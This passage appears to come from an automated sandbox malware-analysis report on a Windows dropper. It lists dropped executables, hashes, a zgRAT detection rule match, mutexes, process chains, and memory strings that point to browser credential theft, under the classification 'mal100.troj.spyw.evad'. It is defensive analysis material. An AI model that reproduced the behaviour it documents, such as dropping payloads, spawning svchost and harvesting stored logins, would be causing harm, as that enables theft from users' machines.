Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC2D10	6_2_00BC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA0E13	6_2_00BA0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC7049	6_2_00BC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC31A8	6_2_00BC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA1602	6_2_00BA1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC779B	6_2_00BC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC78BB	6_2_00BC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA3DF1	6_2_00BA3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB7F36	6_2_00BB7F36
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_011E0F58	7_2_011E0F58
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_011E0F42	7_2_011E0F42
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_011E1398	7_2_011E1398
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_011E1388	7_2_011E1388
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C3EF98	7_2_02C3EF98
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C3CF20	7_2_02C3CF20
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C3007B	7_2_02C3007B
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C35999	7_2_02C35999
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C359A8	7_2_02C359A8
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_052A44B8	7_2_052A44B8
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_052A0040	7_2_052A0040
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_052A44A8	7_2_052A44A8
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_052AA868	7_2_052AA868
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_052AA858	7_2_052AA858
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00408850	12_2_00408850
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00423860	12_2_00423860
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004218A0	12_2_004218A0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042DA53	12_2_0042DA53
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043ECA0	12_2_0043ECA0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00437DF0	12_2_00437DF0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00409580	12_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004266D0	12_2_004266D0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043F720	12_2_0043F720
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00415799	12_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00438810	12_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041682D	12_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004288CB	12_2_004288CB
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043D880	12_2_0043D880
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00430940	12_2_00430940
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00403970	12_2_00403970
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00420939	12_2_00420939
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004179C1	12_2_004179C1
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004231C2	12_2_004231C2
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004241C0	12_2_004241C0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043B1D0	12_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004291DD	12_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043D980	12_2_0043D980
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00405990	12_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00422190	12_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043D997	12_2_0043D997
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043D999	12_2_0043D999
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004091B0	12_2_004091B0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042CA49	12_2_0042CA49
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00416263	12_2_00416263
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0040EA10	12_2_0040EA10
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00415220	12_2_00415220
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042CAD0	12_2_0042CAD0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004252DD	12_2_004252DD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041B2E0	12_2_0041B2E0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00406280	12_2_00406280
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043DA80	12_2_0043DA80
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041E290	12_2_0041E290
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041CB40	12_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043D34D	12_2_0043D34D
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00426B50	12_2_00426B50
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043DB60	12_2_0043DB60
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00436B08	12_2_00436B08
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042830D	12_2_0042830D
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042CB11	12_2_0042CB11
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00404320	12_2_00404320
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042CB22	12_2_0042CB22
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00425327	12_2_00425327
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00408330	12_2_00408330
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043F330	12_2_0043F330
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042A33F	12_2_0042A33F
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0040DBD9	12_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00424380	12_2_00424380
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041FC75	12_2_0041FC75
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041DC00	12_2_0041DC00
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00429C2B	12_2_00429C2B
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004291DD	12_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004074F0	12_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0040ACF0	12_2_0040ACF0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041148F	12_2_0041148F
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042AC90	12_2_0042AC90
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0040CD46	12_2_0040CD46
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00437500	12_2_00437500
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00422510	12_2_00422510
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00417DEE	12_2_00417DEE
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041759F	12_2_0041759F
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00425E70	12_2_00425E70
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00436E74	12_2_00436E74
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00427603	12_2_00427603
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00425E30	12_2_00425E30
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004286C0	12_2_004286C0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043AEC0	12_2_0043AEC0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004236E2	12_2_004236E2
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00405EE0	12_2_00405EE0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041DE80	12_2_0041DE80
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00402F50	12_2_00402F50
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00420F50	12_2_00420F50
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00438F59	12_2_00438F59
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00406710	12_2_00406710
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00423F20	12_2_00423F20
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00419F30	12_2_00419F30
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0041E7C0	12_2_0041E7C0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004197C2	12_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0042DFE9	12_2_0042DFE9
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0040A780	12_2_0040A780
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00411F90	12_2_00411F90
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00418792	12_2_00418792
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043EFB0	12_2_0043EFB0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe 3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001280C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B97A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BB8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B980C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9DF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: String function: 00408030 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: String function: 00414400 appears 65 times

Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 656

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.fba63623fe.exe.3cc3198.2.raw.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: 9267e9145a.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 9267e9145a.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe.6.dr	Static PE information: Section: liphicak ZLIB complexity 0.9941784741023083
Source: 40e7dddffe.exe.6.dr	Static PE information: Section: liphicak ZLIB complexity 0.9941784741023083
Source: random[2].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9974047517123288
Source: random[2].exe0.6.dr	Static PE information: Section: vkhwstep ZLIB complexity 0.9946389878659476
Source: 12379a76ea.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974047517123288
Source: 12379a76ea.exe.6.dr	Static PE information: Section: vkhwstep ZLIB complexity 0.9946389878659476
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9962919453413284
Source: random[1].exe0.6.dr	Static PE information: Section: odqdzvii ZLIB complexity 0.9924236720935654
Source: 9faa981582.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9962919453413284
Source: 9faa981582.exe.6.dr	Static PE information: Section: odqdzvii ZLIB complexity 0.9924236720935654
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 37179ed0b8.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 37179ed0b8.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe2.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe2.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 9faa981582.exe, 0000000D.00000003.2886368827.0000000005308000.00000004.00001000.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2896976754.0000000000479000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 9faa981582.exe, 0000000D.00000003.2886368827.0000000005308000.00000004.00001000.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2896976754.0000000000479000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/16@11/8

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Code function: 12_2_00437DF0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

12_2_00437DF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3116:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 37179ed0b8.exe, 00000017.00000003.3045932466.0000000003536000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3046342175.0000000003519000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3077473781.0000000003542000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe "C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe"
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 656
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe "C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe "C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe "C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe "C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe "C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"	Jump to behavior
